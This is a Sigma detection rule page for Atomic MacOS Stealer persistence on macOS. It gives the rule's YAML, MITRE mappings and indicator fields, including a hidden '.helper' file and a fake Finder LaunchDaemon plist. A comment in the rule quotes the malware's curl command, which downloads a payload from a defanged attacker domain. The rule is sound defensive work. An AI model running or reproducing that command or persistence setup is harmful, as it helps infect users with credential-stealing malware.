Atomic MacOS Stealer - Persistence Indicators

Status: experimental
Severity: high
Log source: category file_event, product macos
Author: Jason Phang Vern - Onn, Robbin Ooi Zhen Heng (Gen Digital)
Source: github.com/SigmaHQ/sigma

Detects creation of persistence artifacts placed by Atomic MacOS Stealer in macOS systems. Recent Atomic MacOS Stealer variants have been observed dropping these to maintain persistent access after compromise.

MITRE ATT&CK coverage

Tactic	Techniques
Persistence	`T1543.004` Create or Modify System Process: Launch Daemon
Privilege Escalation	`T1543.004` Create or Modify System Process: Launch Daemon
Stealth	`T1564.001` Hide Artifacts: Hidden Files and Directories

Telemetry coverage

Platform	Record / event type
macOS	ESF event `create` (NOTIFY): Fires after a new filesystem object (file, directory, or special file) is created.

Rule body

title: Atomic MacOS Stealer - Persistence Indicators
id: e710a880-1f18-4417-b6a0-b5afdf7e3023
status: experimental
description: |
    Detects creation of persistence artifacts placed by Atomic MacOS Stealer in macOS systems. Recent Atomic MacOS Stealer variants have been observed dropping these to maintain persistent access after compromise.
references:
    - https://moonlock.com/amos-backdoor-persistent-access
    - https://github.com/bobby-tablez/TTP-Threat-Feeds/blob/45398914e631f8372c3a9fbcd339ff65ffff1b17/results/2025/10/20251001-161956-trendmicro-atomic-macos-stealer-(amos).yml#L44
author: Jason Phang Vern - Onn, Robbin Ooi Zhen Heng (Gen Digital)
date: 2025-11-22
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1564.001
    - attack.t1543.004
    - detection.emerging-threats
logsource:
    category: file_event
    product: macos
detection:
    selection_user_helper:
        # sh -c curl -o '/Users/<username>/.helper' hxxps://halesmp[.]com/zxc/app
        Image|endswith: '/curl'
        TargetFilename|startswith: '/Users/'
        TargetFilename|endswith: '.helper'
    selection_launchdaemon:
        TargetFilename: '/Library/LaunchDaemons/com.finder.helper.plist'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: `condition`

1 of selection_*

Stage 1: `selection_user_helper`

selection_user_helper:
    Image|endswith: '/curl'
    TargetFilename|startswith: '/Users/'
    TargetFilename|endswith: '.helper'

Stage 2: `selection_launchdaemon`

selection_launchdaemon:
    TargetFilename: '/Library/LaunchDaemons/com.finder.helper.plist'

Indicators

These rows show field, operator, and value matches.

Field	Kind	Values	Search
`Image`	ends_with	`/curl`	`field:"Image" kind:ends_with value:"/curl"`
`TargetFilename`	ends_with	`.helper`	`field:"TargetFilename" kind:ends_with value:".helper"`
`TargetFilename`	eq	`/Library/LaunchDaemons/com.finder.helper.plist`	`field:"TargetFilename" kind:eq value:"/Library/LaunchDaemons/com.finder.helper.plist"`
`TargetFilename`	starts_with	`/Users/`	`field:"TargetFilename" kind:starts_with value:"/Users/"`